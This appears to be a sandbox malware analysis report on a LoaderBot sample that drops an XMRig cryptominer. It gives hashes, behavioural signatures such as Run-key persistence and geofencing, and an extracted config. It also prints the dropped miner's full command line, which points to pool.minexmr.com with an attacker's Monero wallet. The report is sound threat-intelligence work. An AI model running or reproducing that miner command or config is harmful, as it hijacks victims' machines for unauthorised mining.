Analysis
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max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
submitted
02/01/2025, 10:24
General
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Target
JaffaCakes118_646543a3d52cc28ce2defb91eb3a0fa2.exe
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Size
4.3MB
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MD5
646543a3d52cc28ce2defb91eb3a0fa2
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SHA1
1932da4ace59883328d589cde74f11c01c713b0a
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SHA256
4d13c9ed600e109cf6540800f702eb28921b75c703a68e810bfea63d1989a81d
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SHA512
14027b89dfa307533917ac8e4f7deb9f2b6eac021ae9ecef33781739a45779c6573d49b740bc788875b41f8ddd9c6bb883d24f71392eadaa2a91e58bf2f572ac
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SSDEEP
98304:NNNaf55cH3Bj1JkxjOejrq8lVwOro1bbyOFb0hjB4+81TC:NNNa4HxDe/GDhFb0lB4+
Malware Config
Extracted
loaderbot
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miner_pool
pool.minexmr.com:4444
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user
4AKcSXh6Zck7cS2dWrau2yh8pzWD3EzsCQ1xaRbminrWPYJcZtQswfn1HF3j3b4XFdKcVrDh8R9dUUvVRk6JZwwsJEuxwLs
Signatures
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LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
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Loaderbot family
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Xmrig family
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xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
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LoaderBot executable 1 IoCs
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XMRig Miner payload 15 IoCs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Drops startup file 1 IoCs
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Executes dropped EXE 1 IoCs
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Adds Run key to start application 2 TTPs 1 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 64 IoCs
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Suspicious behavior: RenamesItself 1 IoCs
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Suspicious use of AdjustPrivilegeToken 3 IoCs
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Suspicious use of WriteProcessMemory 2 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_646543a3d52cc28ce2defb91eb3a0fa2.exe"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_646543a3d52cc28ce2defb91eb3a0fa2.exe"1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.minexmr.com:4444 -u 4AKcSXh6Zck7cS2dWrau2yh8pzWD3EzsCQ1xaRbminrWPYJcZtQswfn1HF3j3b4XFdKcVrDh8R9dUUvVRk6JZwwsJEuxwLs -p x -k -v=0 --donate-level=1 -t 42⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
4.3MB
MD5c58b9de8d4554c6718264f55c9861cfd
SHA12e120be3d952d9deefc8972519d452bab8814156
SHA256c371d06d30f5afea4fa0bf62f7ea104d3073c688802cdac21d33b4464e9beff4
SHA5122d64f80a507b6bb6001b1c8eea09e5d7c7ede93ae3b670ec2db809b46ebead1758abe9b485ce4bb28440b8ad7164594fca08d28198f2c8cd807dbc9eb36d0335
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Filesize
12.6MB
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Filesize
12.6MB
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Filesize
12.6MB
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Filesize
12.6MB
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Filesize
12.6MB
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Filesize
80KB
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Filesize
12.6MB
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Filesize
12.6MB
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Filesize
12.6MB
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Filesize
12.6MB
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Filesize
12.6MB
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Filesize
12.6MB
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Filesize
12.6MB
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Filesize
12.6MB
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Filesize
12.6MB
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Filesize
12.6MB
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Filesize
12.6MB
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Filesize
7.7MB
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Filesize
408KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4.4MB
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Filesize
7.7MB